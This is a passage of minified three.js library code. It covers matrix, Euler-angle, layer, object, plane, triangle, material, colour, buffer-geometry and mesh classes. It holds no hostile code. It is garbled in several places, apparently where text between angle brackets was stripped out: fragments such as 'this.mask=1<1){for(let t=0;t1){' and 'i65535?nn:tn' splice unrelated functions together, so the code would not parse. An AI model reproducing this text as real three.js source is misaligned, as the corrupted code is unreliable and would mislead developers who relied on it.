a[0]=2*o,a[4]=0,a[8]=0,a[12]=-h,a[1]=0,a[5]=2*l,a[9]=0,a[13]=-u,a[2]=0,a[6]=0,a[10]=-2*c,a[14]=-d,a[3]=0,a[7]=0,a[11]=0,a[15]=1,this}equals(t){const e=this.elements,n=t.elements;for(let t=0;t<16;t++)if(e[t]!==n[t])return!1;return!0}fromArray(t,e=0){for(let n=0;n<16;n++)this.elements[n]=t[n+e];return this}toArray(t=[],e=0){const n=this.elements;return t[e]=n[0],t[e+1]=n[1],t[e+2]=n[2],t[e+3]=n[3],t[e+4]=n[4],t[e+5]=n[5],t[e+6]=n[6],t[e+7]=n[7],t[e+8]=n[8],t[e+9]=n[9],t[e+10]=n[10],t[e+11]=n[11],t[e+12]=n[12],t[e+13]=n[13],t[e+14]=n[14],t[e+15]=n[15],t}}Jt.prototype.isMatrix4=!0;const Qt=new xt,Kt=new Jt,$t=new xt(0,0,0),te=new xt(1,1,1),ee=new xt,ne=new xt,ie=new xt,re=new Jt,se=new yt;class ae{constructor(t=0,e=0,n=0,i=ae.DefaultOrder){this._x=t,this._y=e,this._z=n,this._order=i}get x(){return this._x}set x(t){this._x=t,this._onChangeCallback()}get y(){return this._y}set y(t){this._y=t,this._onChangeCallback()}get z(){return this._z}set z(t){this._z=t,this._onChangeCallback()}get order(){return this._order}set order(t){this._order=t,this._onChangeCallback()}set(t,e,n,i){return this._x=t,this._y=e,this._z=n,this._order=i||this._order,this._onChangeCallback(),this}clone(){return new this.constructor(this._x,this._y,this._z,this._order)}copy(t){return this._x=t._x,this._y=t._y,this._z=t._z,this._order=t._order,this._onChangeCallback(),this}setFromRotationMatrix(t,e,n){const i=ot.clamp,r=t.elements,s=r[0],a=r[4],o=r[8],l=r[1],c=r[5],h=r[9],u=r[2],d=r[6],p=r[10];switch(e=e||this._order){case"XYZ":this._y=Math.asin(i(o,-1,1)),Math.abs(o)<.9999999?(this._x=Math.atan2(-h,p),this._z=Math.atan2(-a,s)):(this._x=Math.atan2(d,c),this._z=0);break;case"YXZ":this._x=Math.asin(-i(h,-1,1)),Math.abs(h)<.9999999?(this._y=Math.atan2(o,p),this._z=Math.atan2(l,c)):(this._y=Math.atan2(-u,s),this._z=0);break;case"ZXY":this._x=Math.asin(i(d,-1,1)),Math.abs(d)<.9999999?(this._y=Math.atan2(-u,p),this._z=Math.atan2(-a,c)):(this._y=0,this._z=Math.atan2(l,s));break;case"ZYX":this._y=Math.asin(-i(u,-1,1)),Math.abs(u)<.9999999?(this._x=Math.atan2(d,p),this._z=Math.atan2(l,s)):(this._x=0,this._z=Math.atan2(-a,c));break;case"YZX":this._z=Math.asin(i(l,-1,1)),Math.abs(l)<.9999999?(this._x=Math.atan2(-h,c),this._y=Math.atan2(-u,s)):(this._x=0,this._y=Math.atan2(o,p));break;case"XZY":this._z=Math.asin(-i(a,-1,1)),Math.abs(a)<.9999999?(this._x=Math.atan2(d,c),this._y=Math.atan2(o,s)):(this._x=Math.atan2(-h,p),this._y=0);break;default:console.warn("THREE.Euler: .setFromRotationMatrix() encountered an unknown order: "+e)}return this._order=e,!1!==n&&this._onChangeCallback(),this}setFromQuaternion(t,e,n){return re.makeRotationFromQuaternion(t),this.setFromRotationMatrix(re,e,n)}setFromVector3(t,e){return this.set(t.x,t.y,t.z,e||this._order)}reorder(t){return se.setFromEuler(this),this.setFromQuaternion(se,t)}equals(t){return t._x===this._x&&t._y===this._y&&t._z===this._z&&t._order===this._order}fromArray(t){return this._x=t[0],this._y=t[1],this._z=t[2],void 0!==t[3]&&(this._order=t[3]),this._onChangeCallback(),this}toArray(t=[],e=0){return t[e]=this._x,t[e+1]=this._y,t[e+2]=this._z,t[e+3]=this._order,t}toVector3(t){return t?t.set(this._x,this._y,this._z):new xt(this._x,this._y,this._z)}_onChange(t){return this._onChangeCallback=t,this}_onChangeCallback(){}}ae.prototype.isEuler=!0,ae.DefaultOrder="XYZ",ae.RotationOrders=["XYZ","YZX","ZXY","XZY","YXZ","ZYX"];class oe{constructor(){this.mask=1}set(t){this.mask=1<1){for(let t=0;t1){for(let t=0;t0){i.children=[];for(let e=0;e0){i.animations=[];for(let e=0;e0&&(n.geometries=e),i.length>0&&(n.materials=i),r.length>0&&(n.textures=r),a.length>0&&(n.images=a),o.length>0&&(n.shapes=o),l.length>0&&(n.skeletons=l),c.length>0&&(n.animations=c)}return n.object=i,n;function s(t){const e=[];for(const n in t){const i=t[n];delete i.metadata,e.push(i)}return e}},clone:function(t){return(new this.constructor).copy(this,t)},copy:function(t,e=!0){if(this.name=t.name,this.up.copy(t.up),this.position.copy(t.position),this.rotation.order=t.rotation.order,this.quaternion.copy(t.quaternion),this.scale.copy(t.scale),this.matrix.copy(t.matrix),this.matrixWorld.copy(t.matrixWorld),this.matrixAutoUpdate=t.matrixAutoUpdate,this.matrixWorldNeedsUpdate=t.matrixWorldNeedsUpdate,this.layers.mask=t.layers.mask,this.visible=t.visible,this.castShadow=t.castShadow,this.receiveShadow=t.receiveShadow,this.frustumCulled=t.frustumCulled,this.renderOrder=t.renderOrder,this.userData=JSON.parse(JSON.stringify(t.userData)),!0===e)for(let e=0;e1?null:e.copy(n).multiplyScalar(r).add(t.start)}intersectsLine(t){const e=this.distanceToPoint(t.start),n=this.distanceToPoint(t.end);return e<0&&n>0||n<0&&e>0}intersectsBox(t){return t.intersectsPlane(this)}intersectsSphere(t){return t.intersectsPlane(this)}coplanarPoint(t){return void 0===t&&(console.warn("THREE.Plane: .coplanarPoint() target is now required"),t=new xt),t.copy(this.normal).multiplyScalar(-this.constant)}applyMatrix4(t,e){const n=e||Se.getNormalMatrix(t),i=this.coplanarPoint(we).applyMatrix4(t),r=this.normal.applyMatrix3(n).normalize();return this.constant=-i.dot(r),this}translate(t){return this.constant-=t.dot(this.normal),this}equals(t){return t.normal.equals(this.normal)&&t.constant===this.constant}clone(){return(new this.constructor).copy(this)}}Te.prototype.isPlane=!0;const Ee=new xt,Ae=new xt,Le=new xt,Re=new xt,Ce=new xt,Pe=new xt,De=new xt,Ie=new xt,Ne=new xt,Be=new xt;class Oe{constructor(t=new xt,e=new xt,n=new xt){this.a=t,this.b=e,this.c=n}static getNormal(t,e,n,i){void 0===i&&(console.warn("THREE.Triangle: .getNormal() target is now required"),i=new xt),i.subVectors(n,e),Ee.subVectors(t,e),i.cross(Ee);const r=i.lengthSq();return r>0?i.multiplyScalar(1/Math.sqrt(r)):i.set(0,0,0)}static getBarycoord(t,e,n,i,r){Ee.subVectors(i,e),Ae.subVectors(n,e),Le.subVectors(t,e);const s=Ee.dot(Ee),a=Ee.dot(Ae),o=Ee.dot(Le),l=Ae.dot(Ae),c=Ae.dot(Le),h=s*l-a*a;if(void 0===r&&(console.warn("THREE.Triangle: .getBarycoord() target is now required"),r=new xt),0===h)return r.set(-2,-1,-1);const u=1/h,d=(l*o-a*c)*u,p=(s*c-a*o)*u;return r.set(1-d-p,p,d)}static containsPoint(t,e,n,i){return this.getBarycoord(t,e,n,i,Re),Re.x>=0&&Re.y>=0&&Re.x+Re.y<=1}static getUV(t,e,n,i,r,s,a,o){return this.getBarycoord(t,e,n,i,Re),o.set(0,0),o.addScaledVector(r,Re.x),o.addScaledVector(s,Re.y),o.addScaledVector(a,Re.z),o}static isFrontFacing(t,e,n,i){return Ee.subVectors(n,e),Ae.subVectors(t,e),Ee.cross(Ae).dot(i)<0}set(t,e,n){return this.a.copy(t),this.b.copy(e),this.c.copy(n),this}setFromPointsAndIndices(t,e,n,i){return this.a.copy(t[e]),this.b.copy(t[n]),this.c.copy(t[i]),this}clone(){return(new this.constructor).copy(this)}copy(t){return this.a.copy(t.a),this.b.copy(t.b),this.c.copy(t.c),this}getArea(){return Ee.subVectors(this.c,this.b),Ae.subVectors(this.a,this.b),.5*Ee.cross(Ae).length()}getMidpoint(t){return void 0===t&&(console.warn("THREE.Triangle: .getMidpoint() target is now required"),t=new xt),t.addVectors(this.a,this.b).add(this.c).multiplyScalar(1/3)}getNormal(t){return Oe.getNormal(this.a,this.b,this.c,t)}getPlane(t){return void 0===t&&(console.warn("THREE.Triangle: .getPlane() target is now required"),t=new Te),t.setFromCoplanarPoints(this.a,this.b,this.c)}getBarycoord(t,e){return Oe.getBarycoord(t,this.a,this.b,this.c,e)}getUV(t,e,n,i,r){return Oe.getUV(t,this.a,this.b,this.c,e,n,i,r)}containsPoint(t){return Oe.containsPoint(t,this.a,this.b,this.c)}isFrontFacing(t){return Oe.isFrontFacing(this.a,this.b,this.c,t)}intersectsBox(t){return t.intersectsTriangle(this)}closestPointToPoint(t,e){void 0===e&&(console.warn("THREE.Triangle: .closestPointToPoint() target is now required"),e=new xt);const n=this.a,i=this.b,r=this.c;let s,a;Ce.subVectors(i,n),Pe.subVectors(r,n),Ie.subVectors(t,n);const o=Ce.dot(Ie),l=Pe.dot(Ie);if(o<=0&&l<=0)return e.copy(n);Ne.subVectors(t,i);const c=Ce.dot(Ne),h=Pe.dot(Ne);if(c>=0&&h<=c)return e.copy(i);const u=o*h-c*l;if(u<=0&&o>=0&&c<=0)return s=o/(o-c),e.copy(n).addScaledVector(Ce,s);Be.subVectors(t,r);const d=Ce.dot(Be),p=Pe.dot(Be);if(p>=0&&d<=p)return e.copy(r);const f=d*l-o*p;if(f<=0&&l>=0&&p<=0)return a=l/(l-p),e.copy(n).addScaledVector(Pe,a);const m=c*p-d*h;if(m<=0&&h-c>=0&&d-p>=0)return De.subVectors(r,i),a=(h-c)/(h-c+(d-p)),e.copy(i).addScaledVector(De,a);const g=1/(m+f+u);return s=f*g,a=u*g,e.copy(n).addScaledVector(Ce,s).addScaledVector(Pe,a)}equals(t){return t.a.equals(this.a)&&t.b.equals(this.b)&&t.c.equals(this.c)}}let ze=0;function Fe(){Object.defineProperty(this,"id",{value:ze++}),this.uuid=ot.generateUUID(),this.name="",this.type="Material",this.fog=!0,this.blending=1,this.side=0,this.vertexColors=!1,this.opacity=1,this.transparent=!1,this.blendSrc=204,this.blendDst=205,this.blendEquation=n,this.blendSrcAlpha=null,this.blendDstAlpha=null,this.blendEquationAlpha=null,this.depthFunc=3,this.depthTest=!0,this.depthWrite=!0,this.stencilWriteMask=255,this.stencilFunc=519,this.stencilRef=0,this.stencilFuncMask=255,this.stencilFail=tt,this.stencilZFail=tt,this.stencilZPass=tt,this.stencilWrite=!1,this.clippingPlanes=null,this.clipIntersection=!1,this.clipShadows=!1,this.shadowSide=null,this.colorWrite=!0,this.precision=null,this.polygonOffset=!1,this.polygonOffsetFactor=0,this.polygonOffsetUnits=0,this.dithering=!1,this.alphaTest=0,this.alphaToCoverage=!1,this.premultipliedAlpha=!1,this.visible=!0,this.toneMapped=!0,this.userData={},this.version=0}Fe.prototype=Object.assign(Object.create(rt.prototype),{constructor:Fe,isMaterial:!0,onBeforeCompile:function(){},customProgramCacheKey:function(){return this.onBeforeCompile.toString()},setValues:function(t){if(void 0!==t)for(const e in t){const n=t[e];if(void 0===n){console.warn("THREE.Material: '"+e+"' parameter is undefined.");continue}if("shading"===e){console.warn("THREE."+this.type+": .shading has been removed. Use the boolean .flatShading instead."),this.flatShading=1===n;continue}const i=this[e];void 0!==i?i&&i.isColor?i.set(n):i&&i.isVector3&&n&&n.isVector3?i.copy(n):this[e]=n:console.warn("THREE."+this.type+": '"+e+"' is not a property of this material.")}},toJSON:function(t){const e=void 0===t||"string"==typeof t;e&&(t={textures:{},images:{}});const n={metadata:{version:4.5,type:"Material",generator:"Material.toJSON"}};function i(t){const e=[];for(const n in t){const i=t[n];delete i.metadata,e.push(i)}return e}if(n.uuid=this.uuid,n.type=this.type,""!==this.name&&(n.name=this.name),this.color&&this.color.isColor&&(n.color=this.color.getHex()),void 0!==this.roughness&&(n.roughness=this.roughness),void 0!==this.metalness&&(n.metalness=this.metalness),this.sheen&&this.sheen.isColor&&(n.sheen=this.sheen.getHex()),this.emissive&&this.emissive.isColor&&(n.emissive=this.emissive.getHex()),this.emissiveIntensity&&1!==this.emissiveIntensity&&(n.emissiveIntensity=this.emissiveIntensity),this.specular&&this.specular.isColor&&(n.specular=this.specular.getHex()),void 0!==this.shininess&&(n.shininess=this.shininess),void 0!==this.clearcoat&&(n.clearcoat=this.clearcoat),void 0!==this.clearcoatRoughness&&(n.clearcoatRoughness=this.clearcoatRoughness),this.clearcoatMap&&this.clearcoatMap.isTexture&&(n.clearcoatMap=this.clearcoatMap.toJSON(t).uuid),this.clearcoatRoughnessMap&&this.clearcoatRoughnessMap.isTexture&&(n.clearcoatRoughnessMap=this.clearcoatRoughnessMap.toJSON(t).uuid),this.clearcoatNormalMap&&this.clearcoatNormalMap.isTexture&&(n.clearcoatNormalMap=this.clearcoatNormalMap.toJSON(t).uuid,n.clearcoatNormalScale=this.clearcoatNormalScale.toArray()),this.map&&this.map.isTexture&&(n.map=this.map.toJSON(t).uuid),this.matcap&&this.matcap.isTexture&&(n.matcap=this.matcap.toJSON(t).uuid),this.alphaMap&&this.alphaMap.isTexture&&(n.alphaMap=this.alphaMap.toJSON(t).uuid),this.lightMap&&this.lightMap.isTexture&&(n.lightMap=this.lightMap.toJSON(t).uuid,n.lightMapIntensity=this.lightMapIntensity),this.aoMap&&this.aoMap.isTexture&&(n.aoMap=this.aoMap.toJSON(t).uuid,n.aoMapIntensity=this.aoMapIntensity),this.bumpMap&&this.bumpMap.isTexture&&(n.bumpMap=this.bumpMap.toJSON(t).uuid,n.bumpScale=this.bumpScale),this.normalMap&&this.normalMap.isTexture&&(n.normalMap=this.normalMap.toJSON(t).uuid,n.normalMapType=this.normalMapType,n.normalScale=this.normalScale.toArray()),this.displacementMap&&this.displacementMap.isTexture&&(n.displacementMap=this.displacementMap.toJSON(t).uuid,n.displacementScale=this.displacementScale,n.displacementBias=this.displacementBias),this.roughnessMap&&this.roughnessMap.isTexture&&(n.roughnessMap=this.roughnessMap.toJSON(t).uuid),this.metalnessMap&&this.metalnessMap.isTexture&&(n.metalnessMap=this.metalnessMap.toJSON(t).uuid),this.emissiveMap&&this.emissiveMap.isTexture&&(n.emissiveMap=this.emissiveMap.toJSON(t).uuid),this.specularMap&&this.specularMap.isTexture&&(n.specularMap=this.specularMap.toJSON(t).uuid),this.envMap&&this.envMap.isTexture&&(n.envMap=this.envMap.toJSON(t).uuid,n.reflectivity=this.reflectivity,n.refractionRatio=this.refractionRatio,void 0!==this.combine&&(n.combine=this.combine),void 0!==this.envMapIntensity&&(n.envMapIntensity=this.envMapIntensity)),this.gradientMap&&this.gradientMap.isTexture&&(n.gradientMap=this.gradientMap.toJSON(t).uuid),void 0!==this.size&&(n.size=this.size),null!==this.shadowSide&&(n.shadowSide=this.shadowSide),void 0!==this.sizeAttenuation&&(n.sizeAttenuation=this.sizeAttenuation),1!==this.blending&&(n.blending=this.blending),0!==this.side&&(n.side=this.side),this.vertexColors&&(n.vertexColors=!0),this.opacity<1&&(n.opacity=this.opacity),!0===this.transparent&&(n.transparent=this.transparent),n.depthFunc=this.depthFunc,n.depthTest=this.depthTest,n.depthWrite=this.depthWrite,n.colorWrite=this.colorWrite,n.stencilWrite=this.stencilWrite,n.stencilWriteMask=this.stencilWriteMask,n.stencilFunc=this.stencilFunc,n.stencilRef=this.stencilRef,n.stencilFuncMask=this.stencilFuncMask,n.stencilFail=this.stencilFail,n.stencilZFail=this.stencilZFail,n.stencilZPass=this.stencilZPass,this.rotation&&0!==this.rotation&&(n.rotation=this.rotation),!0===this.polygonOffset&&(n.polygonOffset=!0),0!==this.polygonOffsetFactor&&(n.polygonOffsetFactor=this.polygonOffsetFactor),0!==this.polygonOffsetUnits&&(n.polygonOffsetUnits=this.polygonOffsetUnits),this.linewidth&&1!==this.linewidth&&(n.linewidth=this.linewidth),void 0!==this.dashSize&&(n.dashSize=this.dashSize),void 0!==this.gapSize&&(n.gapSize=this.gapSize),void 0!==this.scale&&(n.scale=this.scale),!0===this.dithering&&(n.dithering=!0),this.alphaTest>0&&(n.alphaTest=this.alphaTest),!0===this.alphaToCoverage&&(n.alphaToCoverage=this.alphaToCoverage),!0===this.premultipliedAlpha&&(n.premultipliedAlpha=this.premultipliedAlpha),!0===this.wireframe&&(n.wireframe=this.wireframe),this.wireframeLinewidth>1&&(n.wireframeLinewidth=this.wireframeLinewidth),"round"!==this.wireframeLinecap&&(n.wireframeLinecap=this.wireframeLinecap),"round"!==this.wireframeLinejoin&&(n.wireframeLinejoin=this.wireframeLinejoin),!0===this.morphTargets&&(n.morphTargets=!0),!0===this.morphNormals&&(n.morphNormals=!0),!0===this.skinning&&(n.skinning=!0),!0===this.flatShading&&(n.flatShading=this.flatShading),!1===this.visible&&(n.visible=!1),!1===this.toneMapped&&(n.toneMapped=!1),"{}"!==JSON.stringify(this.userData)&&(n.userData=this.userData),e){const e=i(t.textures),r=i(t.images);e.length>0&&(n.textures=e),r.length>0&&(n.images=r)}return n},clone:function(){return(new this.constructor).copy(this)},copy:function(t){this.name=t.name,this.fog=t.fog,this.blending=t.blending,this.side=t.side,this.vertexColors=t.vertexColors,this.opacity=t.opacity,this.transparent=t.transparent,this.blendSrc=t.blendSrc,this.blendDst=t.blendDst,this.blendEquation=t.blendEquation,this.blendSrcAlpha=t.blendSrcAlpha,this.blendDstAlpha=t.blendDstAlpha,this.blendEquationAlpha=t.blendEquationAlpha,this.depthFunc=t.depthFunc,this.depthTest=t.depthTest,this.depthWrite=t.depthWrite,this.stencilWriteMask=t.stencilWriteMask,this.stencilFunc=t.stencilFunc,this.stencilRef=t.stencilRef,this.stencilFuncMask=t.stencilFuncMask,this.stencilFail=t.stencilFail,this.stencilZFail=t.stencilZFail,this.stencilZPass=t.stencilZPass,this.stencilWrite=t.stencilWrite;const e=t.clippingPlanes;let n=null;if(null!==e){const t=e.length;n=new Array(t);for(let i=0;i!==t;++i)n[i]=e[i].clone()}return this.clippingPlanes=n,this.clipIntersection=t.clipIntersection,this.clipShadows=t.clipShadows,this.shadowSide=t.shadowSide,this.colorWrite=t.colorWrite,this.precision=t.precision,this.polygonOffset=t.polygonOffset,this.polygonOffsetFactor=t.polygonOffsetFactor,this.polygonOffsetUnits=t.polygonOffsetUnits,this.dithering=t.dithering,this.alphaTest=t.alphaTest,this.alphaToCoverage=t.alphaToCoverage,this.premultipliedAlpha=t.premultipliedAlpha,this.visible=t.visible,this.toneMapped=t.toneMapped,this.userData=JSON.parse(JSON.stringify(t.userData)),this},dispose:function(){this.dispatchEvent({type:"dispose"})}}),Object.defineProperty(Fe.prototype,"needsUpdate",{set:function(t){!0===t&&this.version++}});const He={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074},Ue={h:0,s:0,l:0},Ge={h:0,s:0,l:0};function ke(t,e,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?t+6*(e-t)*n:n<.5?e:n<2/3?t+6*(e-t)*(2/3-n):t}function Ve(t){return t<.04045?.0773993808*t:Math.pow(.9478672986*t+.0521327014,2.4)}function We(t){return t<.0031308?12.92*t:1.055*Math.pow(t,.41666)-.055}class je{constructor(t,e,n){return void 0===e&&void 0===n?this.set(t):this.setRGB(t,e,n)}set(t){return t&&t.isColor?this.copy(t):"number"==typeof t?this.setHex(t):"string"==typeof t&&this.setStyle(t),this}setScalar(t){return this.r=t,this.g=t,this.b=t,this}setHex(t){return t=Math.floor(t),this.r=(t>>16&255)/255,this.g=(t>>8&255)/255,this.b=(255&t)/255,this}setRGB(t,e,n){return this.r=t,this.g=e,this.b=n,this}setHSL(t,e,n){if(t=ot.euclideanModulo(t,1),e=ot.clamp(e,0,1),n=ot.clamp(n,0,1),0===e)this.r=this.g=this.b=n;else{const i=n<=.5?n*(1+e):n+e-n*e,r=2*n-i;this.r=ke(r,i,t+1/3),this.g=ke(r,i,t),this.b=ke(r,i,t-1/3)}return this}setStyle(t){function e(e){void 0!==e&&parseFloat(e)<1&&console.warn("THREE.Color: Alpha component of "+t+" will be ignored.")}let n;if(n=/^((?:rgb|hsl)a?)\(([^\)]*)\)/.exec(t)){let t;const i=n[1],r=n[2];switch(i){case"rgb":case"rgba":if(t=/^\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*(?:,\s*(\d*\.?\d+)\s*)?$/.exec(r))return this.r=Math.min(255,parseInt(t[1],10))/255,this.g=Math.min(255,parseInt(t[2],10))/255,this.b=Math.min(255,parseInt(t[3],10))/255,e(t[4]),this;if(t=/^\s*(\d+)\%\s*,\s*(\d+)\%\s*,\s*(\d+)\%\s*(?:,\s*(\d*\.?\d+)\s*)?$/.exec(r))return this.r=Math.min(100,parseInt(t[1],10))/100,this.g=Math.min(100,parseInt(t[2],10))/100,this.b=Math.min(100,parseInt(t[3],10))/100,e(t[4]),this;break;case"hsl":case"hsla":if(t=/^\s*(\d*\.?\d+)\s*,\s*(\d+)\%\s*,\s*(\d+)\%\s*(?:,\s*(\d*\.?\d+)\s*)?$/.exec(r)){const n=parseFloat(t[1])/360,i=parseInt(t[2],10)/100,r=parseInt(t[3],10)/100;return e(t[4]),this.setHSL(n,i,r)}}}else if(n=/^\#([A-Fa-f\d]+)$/.exec(t)){const t=n[1],e=t.length;if(3===e)return this.r=parseInt(t.charAt(0)+t.charAt(0),16)/255,this.g=parseInt(t.charAt(1)+t.charAt(1),16)/255,this.b=parseInt(t.charAt(2)+t.charAt(2),16)/255,this;if(6===e)return this.r=parseInt(t.charAt(0)+t.charAt(1),16)/255,this.g=parseInt(t.charAt(2)+t.charAt(3),16)/255,this.b=parseInt(t.charAt(4)+t.charAt(5),16)/255,this}return t&&t.length>0?this.setColorName(t):this}setColorName(t){const e=He[t];return void 0!==e?this.setHex(e):console.warn("THREE.Color: Unknown color "+t),this}clone(){return new this.constructor(this.r,this.g,this.b)}copy(t){return this.r=t.r,this.g=t.g,this.b=t.b,this}copyGammaToLinear(t,e=2){return this.r=Math.pow(t.r,e),this.g=Math.pow(t.g,e),this.b=Math.pow(t.b,e),this}copyLinearToGamma(t,e=2){const n=e>0?1/e:1;return this.r=Math.pow(t.r,n),this.g=Math.pow(t.g,n),this.b=Math.pow(t.b,n),this}convertGammaToLinear(t){return this.copyGammaToLinear(this,t),this}convertLinearToGamma(t){return this.copyLinearToGamma(this,t),this}copySRGBToLinear(t){return this.r=Ve(t.r),this.g=Ve(t.g),this.b=Ve(t.b),this}copyLinearToSRGB(t){return this.r=We(t.r),this.g=We(t.g),this.b=We(t.b),this}convertSRGBToLinear(){return this.copySRGBToLinear(this),this}convertLinearToSRGB(){return this.copyLinearToSRGB(this),this}getHex(){return 255*this.r<<16^255*this.g<<8^255*this.b<<0}getHexString(){return("000000"+this.getHex().toString(16)).slice(-6)}getHSL(t){void 0===t&&(console.warn("THREE.Color: .getHSL() target is now required"),t={h:0,s:0,l:0});const e=this.r,n=this.g,i=this.b,r=Math.max(e,n,i),s=Math.min(e,n,i);let a,o;const l=(s+r)/2;if(s===r)a=0,o=0;else{const t=r-s;switch(o=l<=.5?t/(r+s):t/(2-r-s),r){case e:a=(n-i)/t+(ne&&(e=t[n]);return e}Object.defineProperty(Ze.prototype,"needsUpdate",{set:function(t){!0===t&&this.version++}}),Object.assign(Ze.prototype,{isBufferAttribute:!0,onUploadCallback:function(){},setUsage:function(t){return this.usage=t,this},copy:function(t){return this.name=t.name,this.array=new t.array.constructor(t.array),this.itemSize=t.itemSize,this.count=t.count,this.normalized=t.normalized,this.usage=t.usage,this},copyAt:function(t,e,n){t*=this.itemSize,n*=e.itemSize;for(let i=0,r=this.itemSize;i65535?nn:tn)(t,1):this.index=t,this},getAttribute:function(t){return this.attributes[t]},setAttribute:function(t,e){return this.attributes[t]=e,this},deleteAttribute:function(t){return delete this.attributes[t],this},hasAttribute:function(t){return void 0!==this.attributes[t]},addGroup:function(t,e,n=0){this.groups.push({start:t,count:e,materialIndex:n})},clearGroups:function(){this.groups=[]},setDrawRange:function(t,e){this.drawRange.start=t,this.drawRange.count=e},applyMatrix4:function(t){const e=this.attributes.position;void 0!==e&&(e.applyMatrix4(t),e.needsUpdate=!0);const n=this.attributes.normal;if(void 0!==n){const e=(new ct).getNormalMatrix(t);n.applyNormalMatrix(e),n.needsUpdate=!0}const i=this.attributes.tangent;return void 0!==i&&(i.transformDirection(t),i.needsUpdate=!0),null!==this.boundingBox&&this.computeBoundingBox(),null!==this.boundingSphere&&this.computeBoundingSphere(),this},rotateX:function(t){return un.makeRotationX(t),this.applyMatrix4(un),this},rotateY:function(t){return un.makeRotationY(t),this.applyMatrix4(un),this},rotateZ:function(t){return un.makeRotationZ(t),this.applyMatrix4(un),this},translate:function(t,e,n){return un.makeTranslation(t,e,n),this.applyMatrix4(un),this},scale:function(t,e,n){return un.makeScale(t,e,n),this.applyMatrix4(un),this},lookAt:function(t){return dn.lookAt(t),dn.updateMatrix(),this.applyMatrix4(dn.matrix),this},center:function(){return this.computeBoundingBox(),this.boundingBox.getCenter(pn).negate(),this.translate(pn.x,pn.y,pn.z),this},setFromPoints:function(t){const e=[];for(let n=0,i=t.length;n0&&(t.userData=this.userData),void 0!==this.parameters){const e=this.parameters;for(const n in e)void 0!==e[n]&&(t[n]=e[n]);return t}t.data={attributes:{}};const e=this.index;null!==e&&(t.data.index={type:e.array.constructor.name,array:Array.prototype.slice.call(e.array)});const n=this.attributes;for(const e in n){const i=n[e];t.data.attributes[e]=i.toJSON(t.data)}const i={};let r=!1;for(const e in this.morphAttributes){const n=this.morphAttributes[e],s=[];for(let e=0,i=n.length;e0&&(i[e]=s,r=!0)}r&&(t.data.morphAttributes=i,t.data.morphTargetsRelative=this.morphTargetsRelative);const s=this.groups;s.length>0&&(t.data.groups=JSON.parse(JSON.stringify(s)));const a=this.boundingSphere;return null!==a&&(t.data.boundingSphere={center:a.center.toArray(),radius:a.radius}),t},clone:function(){return(new vn).copy(this)},copy:function(t){this.index=null,this.attributes={},this.morphAttributes={},this.groups=[],this.boundingBox=null,this.boundingSphere=null;const e={};this.name=t.name;const n=t.index;null!==n&&this.setIndex(n.clone(e));const i=t.attributes;for(const t in i){const n=i[t];this.setAttribute(t,n.clone(e))}const r=t.morphAttributes;for(const t in r){const n=[],i=r[t];for(let t=0,r=i.length;tn.far?null:{distance:c,point:Nn.clone(),object:t}}(t,e,n,i,bn,wn,Mn,In);if(p){o&&(Cn.fromBufferAttribute(o,c),Pn.fromBufferAttribute(o,h),Dn.fromBufferAttribute(o,u),p.uv=Oe.getUV(In,bn,wn,Mn,Cn,Pn,Dn,new lt)),l&&(Cn.fromBufferAttribute(l,c),Pn.fromBufferAttribute(l,h),Dn.fromBufferAttribute(l,u),p.uv2=Oe.getUV(In,bn,wn,Mn,Cn,Pn,Dn,new lt));const t={a:c,b:h,c:u,normal:new xt,materialIndex:0};Oe.getNormal(bn,wn,Mn,t.normal),p.face=t}return p}Bn.prototype=Object.assign(Object.create(be.prototype),{constructor:Bn,isMesh:!0,copy:function(t){return be.prototype.copy.call(this,t),void 0!==t.morphTargetInfluences&&(this.morphTargetInfluences=t.morphTargetInfluences.slice()),void 